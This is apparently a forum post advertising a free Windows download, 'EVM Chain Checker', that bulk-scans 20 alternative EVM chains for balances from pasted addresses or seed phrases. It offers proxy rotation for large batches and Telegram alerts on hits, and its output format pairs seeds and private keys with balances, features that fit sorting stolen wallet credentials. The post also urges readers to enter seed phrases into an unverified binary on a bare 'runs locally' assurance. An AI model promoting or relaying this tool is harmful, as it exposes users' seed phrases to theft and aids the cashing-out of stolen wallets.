Thread: [FREE | EVM Chain Checker | Seed/Address Scan 20 Alternative Chains Debank Can't See](#)

Deadly Toaster - February 22, 2026, 7:01 am

Sharing a free tool, I kept finding airdrop funds sitting in my old wallets that Debank/Zerion completely ignored. figured others have the same problem.

The Problem

Popular portfolio trackers cover the big chains:Ethereum, BSC, Polygon, Arbitrum, Optimism

They ignore 100+ alternative EVM-compatible chains. Projects launch airdrops on Hedera, Neon EVM, Syscoin, PlatON and 17 others. That's free money sitting in wallets you haven't checked in months — because your tracker doesn't show it.

What EVM Chain Checker Does

Scans 20 alternative EVM chains in one run. Feed it addresses or seed phrases, get a full balance report in seconds.

Supported chains (full list):Hedera (HBAR) | Filecoin FEVM (FIL) | Neon EVM (NEON)

Oasis Sapphire (ROSE) | Horizen EON (ZEN) | ThunderCore (TT)

Syscoin NEVM (SYS) | Velas EVM (VLX) | PlatON (LAT)

Elastos ESC (ELA) | SKALE Europa (sFUEL) | Kroma (ETH)

Mint (ETH) | Redstone (ETH) | Polynomial (ETH)

Swan Chain (ETH) | Lightlink (ETH) | Xai (XAI)

Sanko (DMT) | Peaq (PEAQ)

How It Works

Input: Paste wallet addresses OR seed phrases (it derives the wallets automatically)

Configure: Select which chains to scan, add proxies for bulk checks, set Telegram bot for instant alerts

Output: Three local files:result.txt — wallets with found assets (native tokens, ERC-20, NFTs)

transactions.txt — wallets with history but empty balance

error.txt — failed RPC calls to retry

Output format example:

Code [17.02.2026 04:15:26][SEED:word1 word2...][KEY:0xprivatekey|0xaddress|Neon EVM|\$123.45-123.46 NEON|tokens: +|NFT: -|TX: 42Privacy & SpeedEverything runs 100% locally — seeds/keys never leave your machine

Results saved to local files only

Async engine — checks hundreds of addresses per minute

Parallel RPC requests across all chains

Live USD prices via CoinGecko API

Setup (takes 2 minutes)

Create these text files in the same folder:

addresses.txt — one address per line

Code 0x1234567890abcdef1234567890abcdef12345678

0xabcdefabcdefabcdefabcdefabcdefabcdseeds.txt (optional) — one 12-word phrase per line

Code word1 word2 word3 word4 word5 word6 word7 word8 word9 word10 word11 word12proxy.txt

(optional, for 100+ wallets) — ip:port@user:pass format

Telegram alerts (optional): Create bot via [USER=1256236]@botfather[/USER] -> get chat ID via @userinfobot -> enter both in the GUI. You'll get a real-time ping whenever assets are found.

Download

[EVM_Chain_Checker_v5.2.zip](#) Portable — unpack folder, run GUI, no install needed

Windows 10/11 64-bit

No registration, no API key required

VirusTotal scan: [Check VT link](#)
